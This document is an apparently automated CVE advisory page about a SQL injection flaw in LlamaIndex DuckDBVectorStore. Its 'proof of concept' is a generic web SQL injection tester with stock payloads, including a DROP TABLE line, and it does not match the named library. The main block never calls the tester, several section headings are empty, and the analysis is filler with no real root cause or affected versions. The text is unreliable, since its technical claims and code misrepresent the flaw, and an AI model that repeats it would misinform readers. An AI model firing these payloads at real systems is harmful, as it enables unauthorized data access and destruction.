CVE-2025-1750: SQL Injection in LlamaIndex DuckDBVectorStore

CRITICAL SECURITY ALERT - CVE-2025-1750 requires immediate attention from all LlamaIndex DuckDBVectorStore users and administrators.

Executive Summary

This vulnerability poses significant risks to organizations using affected LlamaIndex DuckDBVectorStore systems and requires immediate attention from security teams. The flaw allows attackers to bypass security protections and potentially achieve unauthorized access or code execution.

Impact Assessment

Technical Deep Dive

Vulnerability Breakdown

The core of CVE-2025-1750 is a SQL Injection vulnerability within LlamaIndex DuckDBVectorStore.

A Real-World Analogy for SQL Injection

The Exploit Chain: From SQL Injection to System Compromise

1. Reconnaissance: Attackers identify vulnerable LlamaIndex DuckDBVectorStore installations
2. Payload Crafting: Malicious input is created to trigger the SQL injection vulnerability
3. SQL Injection: The crafted payload bypasses input validation and manipulates database queries
4. System Compromise: Successful exploitation leads to unauthorized data access or code execution

Simplified Proof-of-Concept

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#!/usr/bin/env python3
"""
CVE-2025-1750 SQL Injection Proof of Concept
WARNING: This code is for educational and authorized testing purposes only.
"""

import requests
import urllib.parse

def test_sql_injection(target_url, parameter):
    """Test for SQL injection vulnerability"""
    print(f"[*] Testing SQL injection on {target_url}")
    
    # Basic SQL injection payloads
    payloads = [
        "' OR '1'='1",
        "' UNION SELECT NULL,NULL,NULL--",
        "'; DROP TABLE users; --",
        "' OR 1=1 --",
        "admin'--"
    ]
    
    for payload in payloads:
        encoded_payload = urllib.parse.quote(payload)
        test_url = f"{target_url}?{parameter}={encoded_payload}"
        
        try:
            response = requests.get(test_url, timeout=5)
            print(f"[*] Payload: {payload}")
            print(f"[*] Response length: {len(response.text)}")
            
            # Look for SQL error messages
            sql_errors = ["SQL syntax", "mysql_fetch", "ORA-", "PostgreSQL", "sqlite3.OperationalError"]
            for error in sql_errors:
                if error.lower() in response.text.lower():
                    print(f"[!] Potential SQL injection found: {error}")
                    break
                    
        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")
    
    print("\nSecure coding example:")
    print("""
# Vulnerable code
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)  # VULNERABLE!

# Secure code using parameterized queries
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))  # SECURE!
""")

if __name__ == "__main__":
    print("CVE-2025-1750 SQL Injection Analysis Tool")
    print("Use only for authorized testing!")

Root Cause and Patch Analysis

The root cause of CVE-2025-1750 lies in insufficient input validation and security controls within LlamaIndex DuckDBVectorStore.

The vulnerability can be addressed through:

1. Input validation and sanitization
2. Security controls implementation
3. Regular security updates and patches
4. Security monitoring and logging

Attack Surface

Affected Versions:

• LlamaIndex DuckDBVectorStore: Versions prior to security patches
• Estimated affected users: Organizations using vulnerable versions
• Impact scope: Potential system compromise

Red Team Perspective

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Initial Access:
  - T1190: Exploit Public-Facing Application
  - T1566: Phishing

Execution:
  - T1203: Exploitation for Client Execution
  - T1059: Command and Scripting Interpreter

Persistence:
  - T1505: Server Software Component
  - T1053: Scheduled Task/Job

Blue Team Perspective

Historical Context: How Does This Compare?

CVE-2025-1750 represents a significant security concern in the context of similar vulnerabilities:

• Previous SQL Injection vulnerabilities have demonstrated the serious impact of insufficient input validation
• Similar products have faced comparable security challenges
• Industry trends show continued importance of secure development practices

This vulnerability highlights the ongoing need for robust security practices in software development and deployment.

Proof of Concept & Intelligence

Intelligence Note: We are actively monitoring for public proof-of-concept releases and exploitation attempts. Organizations should prioritize patching and monitoring.

Vulnerability Timeline

Action Items & Recommendations

For Security Teams

IMMEDIATE PRIORITY ACTIONS

1. Immediate patching of all LlamaIndex DuckDBVectorStore installations
2. Vulnerability scanning to identify affected systems
3. Security monitoring enhancement for exploitation attempts
4. Incident response preparation and team notification

For Organizations

Organizational Security Measures:

1. Asset inventory of all LlamaIndex DuckDBVectorStore installations
2. Patch management process improvement
3. Security awareness training for relevant personnel
4. Business continuity planning for potential disruptions
5. Vendor communication regarding security updates

Key Takeaways

• For System Administrators: Apply security patches immediately. This vulnerability requires urgent attention to prevent system compromise.
• For Security Teams: Implement monitoring for SQL Injection attacks and develop detection capabilities for similar vulnerabilities.
• For Organizations: Ensure robust patch management and security processes are in place to handle critical vulnerabilities.
• For Users: Stay informed about security updates and follow organizational security policies.

Additional Resources

Official References

• CVE-CVE-2025-1750 Details
• NIST NVD Entry
• Vendor Security Advisories

Security Frameworks

• MITRE ATT&CK Framework
• OWASP Security Guidelines
• NIST Cybersecurity Framework

Learning Resources

• Vulnerability Research Best Practices
• Secure Development Guidelines
• Incident Response Procedures

Disclaimer

This analysis is for educational and defensive cybersecurity purposes only. CVE Hub does not condone malicious use of security vulnerabilities. Always ensure proper authorization before testing any security vulnerabilities in production environments. The techniques described here should only be used for legitimate security research, penetration testing, and defense improvement activities.

Note on Content Generation: This CVE analysis and its accompanying banner image have been generated using an automated pipeline that combines security research data with AI-assisted content creation. While we strive for accuracy, readers should verify critical information with official sources and vendor advisories.

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🔍 Proof-of-Concept Intelligence